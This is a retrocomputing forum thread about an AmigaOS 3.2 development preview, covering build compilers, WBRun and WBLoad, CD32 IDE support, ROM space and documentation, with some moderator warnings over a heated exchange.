https://www.bountysource.com/issues/80706251-m68k-convert-the-backend-to-mode_cc-so-it-can-be-kept-in-future-releases
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 24, 2019, 04:18:19 PM
Btw - what C compiler(s) is OS3 development currently relying on?

The same it was always relying upon: SAS/C for the C parts, and h68x and the SAS assembler for the assembler parts. The dependencies from Lattice C 5 and the Greenhill C compiler were removed in 3.1.4 (yes, there were really three compilers necessary for 3.1).
Title: Re: Os 3.2 development preview
Post by: F0LLETT on October 24, 2019, 05:40:38 PM
OK, Enough.

Any more and this thread will be locked and people delt with.
Title: Re: Os 3.2 development preview
Post by: kolla on October 24, 2019, 06:15:37 PM
As you observe from your script, the functionality of WBRun is - as said - just a one-liner in Rexx.
No, to replace wbrun of bb2, it is not really a one-liner, but whatever.
Quote
I hope you understand now better why I consider WBRun as program as rather low value. Even an alias would be able to replace it.


It seems like my entire point flew over your head - wbrun, the binary, as well as my wrapper script above, should be redundant, as wbload should just do it all already. All the time you have wasted ranting about me and whatnot, you could have implemented it already - easily. And then the popular assumption, that wbload is a “sort of wbrun replacement” would be true - less confusing for everyone.

PS: do you consider the fact that wbload only searches current working directory for default tool... a bug, or a feature?

PPS: with inclusion of DefIcons this becomes even more confusing - will or should WBLoad use deficons for files that lack icons? Or will it, as you suggested earlier, attempt to load them CLI style?
Title: Re: Os 3.2 development preview
Post by: Tygre on October 25, 2019, 12:35:29 AM
@kolla

PPPS. Stop addressing (i.e., trolling) Thomas. Please start a thread about the differences, pros, and cons of WBRun, WBLoad, your scripts, and any other related programs in a different thread.
Title: Re: Os 3.2 development preview
Post by: F0LLETT on October 25, 2019, 09:15:31 AM
Last warning, before thread is locked.
I know it can be hard to not post sometimes, but please try.
Title: Re: Os 3.2 development preview
Post by: demon-knight on October 26, 2019, 12:51:42 PM
Are there any plans to review the CD32 situation with regard to future OS updates and what were the issues surrounding source code?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 26, 2019, 02:59:23 PM
Are there any plans to review the CD32 situation with regard to future OS updates and what were the issues surrounding source code?

I afraid the situation hasn't improved. The issue is that we don't get the CD32 on-board IDE working reliably as it seems to be based on some cost-reduced version of the original chipset, and the auto-detection logic for the IDE used for all other boards does not work there.

Thus, even though there are some compile-time flags in 3.1 that enable or disable support for it, the corresponding code does not work anymore, and we lack documentation on the CD32 to make it working.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 26, 2019, 03:08:19 PM
There is no way to sniff it out with a debug option from a working machine? Or disassemble it? :-\
Title: Re: Os 3.2 development preview
Post by: demon-knight on October 26, 2019, 05:07:55 PM
Ah man, I'm guessing the documentation was lost over time or never existed.
Such a shame, I understand it's down to time, money and resources.

Long term what will happen with rom space, do you plan on moving more out of rom and onto disk for ease of updating?
 
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 26, 2019, 06:27:20 PM
Long term what will happen with rom space, do you plan on moving more out of rom and onto disk for ease of updating?
Long term, we probably have to move more components out. Audio, mathffp and mathieeesingbas are not essential either and may probably go at some point.

For 3.2, there will be an update mechanism where the ROM looks for updates from disk by itself, so for a couple of modules, updates may be more easily installed.
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 26, 2019, 07:37:43 PM
Are there any plans to review the CD32 situation with regard to future OS updates and what were the issues surrounding source code?

I afraid the situation hasn't improved. The issue is that we don't get the CD32 on-board IDE working reliably as it seems to be based on some cost-reduced version of the original chipset, and the auto-detection logic for the IDE used for all other boards does not work there.

Thus, even though there are some compile-time flags in 3.1 that enable or disable support for it, the corresponding code does not work anymore, and we lack documentation on the CD32 to make it working.

Would it help to talk to Stephen "Terrible Fire"? He did a lot of work with the CD32s IDE to get his accelerator to work.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 26, 2019, 08:28:48 PM
I'm pretty sure it is about the non-standard CD interface.
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 27, 2019, 01:52:01 AM
I'm pretty sure it is about the non-standard CD interface.

Horrors! Commodore not using a standard interface - say it ain't so. I'm sure they always did everything exactly by the book! Maybe the court jester's book that changed every day ending with a "Y" but they must have followed some kind of standard mustn't they? Right? Right?

<sound of crickets in an otherwise silent room>
Title: Re: Os 3.2 development preview
Post by: psxphill on October 27, 2019, 10:38:33 AM
I'm pretty sure it is about the non-standard CD interface.

There wasn't a standard CD interface in 1993.

ATAPI came out in 1994 & the first games console using ATAPI was the dreamcast in 1999. Although it would take until the xbox in 2001 before the standard connector was used. In neither case were the drives actually standard either.

As the CD32 CD drive doesn't use ATAPI, then it shouldn't have any effect on the ATA port.

I don't know a lot about the CD32, but AFAIK it doesn't have built in ATA anyway. I can't tell if the CD32 debug board has extra logic or not, but it seems it requires a custom kickstart. Whether the ATA port on any of the other accelerators works in the same way, I don't know. It may be the compile time options are only for the debug board.

Title: Re: Os 3.2 development preview
Post by: kolla on October 27, 2019, 11:09:44 AM
I don't know a lot about the CD32, but AFAIK it doesn't have built in ATA anyway.

Correct.
CD32 expansion boards typically come with A600/A1200 style "gayle" controller, and one can attach ATAPI CD drives there.
Title: Re: Os 3.2 development preview
Post by: slaapliedje on October 29, 2019, 11:22:56 PM
Curious if 3.2 will get a newly printed manual?  I know there were suggestions already possible of new kickstart ROMs, but I've already found in the 3.1/disks from someone off eBay that with 3.1.4 there are new things that really aren't covered in the manuals, so was wondering if we could get new printed manuals, that'd be pretty sweet and feel like a more worthy upgrade.
Title: Re: Os 3.2 development preview
Post by: psxphill on October 29, 2019, 11:33:52 PM
CD32 expansion boards typically come with A600/A1200 style "gayle" controller, and one can attach ATAPI CD drives there.

I think the "official" commodore debug boards require a custom kickstart because they don't work quite/at all like gayle, which is probably what the #if's are for & therefore probably a red herring.

AFAICT the SX1 & SX32 work with the standard a1200 scsi.device
Title: Re: Os 3.2 development preview
Post by: Gulliver on October 30, 2019, 12:38:18 AM
Curious if 3.2 will get a newly printed manual?  I know there were suggestions already possible of new kickstart ROMs, but I've already found in the 3.1/disks from someone off eBay that with 3.1.4 there are new things that really aren't covered in the manuals, so was wondering if we could get new printed manuals, that'd be pretty sweet and feel like a more worthy upgrade.

The 3.1.4.1 FAQ on Aminet covers everything new. Old stuff should be covered by the good old 3.1 manual except some specific topics.

I am writing the current AmigaOS 3.2 FAQ, which is the nearest thing to a manual. It currently covers more than 100 topics.

I could certainly write a book about 3.2, but it would unfortunately take me about six months. And I am not so sure there is a market for it, or even worth spending my time on it.
Title: Re: Os 3.2 development preview
Post by: kolla on October 30, 2019, 11:38:03 AM
AFAICT the SX1 & SX32 work with the standard a1200 scsi.device
Yes, I can confirm for SX32 Pro and TF328 (boards I have), and the same is also the case for TF330 and TF360, as well as Witcher-CD32 from what I know.
Title: Re: Os 3.2 development preview
Post by: slaapliedje on October 30, 2019, 10:41:00 PM
Curious if 3.2 will get a newly printed manual?  I know there were suggestions already possible of new kickstart ROMs, but I've already found in the 3.1/disks from someone off eBay that with 3.1.4 there are new things that really aren't covered in the manuals, so was wondering if we could get new printed manuals, that'd be pretty sweet and feel like a more worthy upgrade.

The 3.1.4.1 FAQ on Aminet covers everything new. Old stuff should be covered by the good old 3.1 manual except some specific topics.

I am writing the current AmigaOS 3.2 FAQ, which is the nearest thing to a manual. It currently covers more than 100 topics.

I could certainly write a book about 3.2, but it would unfortunately take me about six months. And I am not so sure there is a market for it, or even worth spending my time on it.
I'd buy a copy, even of it were a digital version.  There are some things not in the 3.1 manual I already found that I was curious about, like when to choose Direct SCSI in HD toolbox?
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on November 03, 2019, 06:47:22 PM
@Thomas Richter

Can you change the showconfig output to format the mem range to be aligned to the right, like, by adding 0s or spc before hex values? Would be nicer, i think. More like a proper table.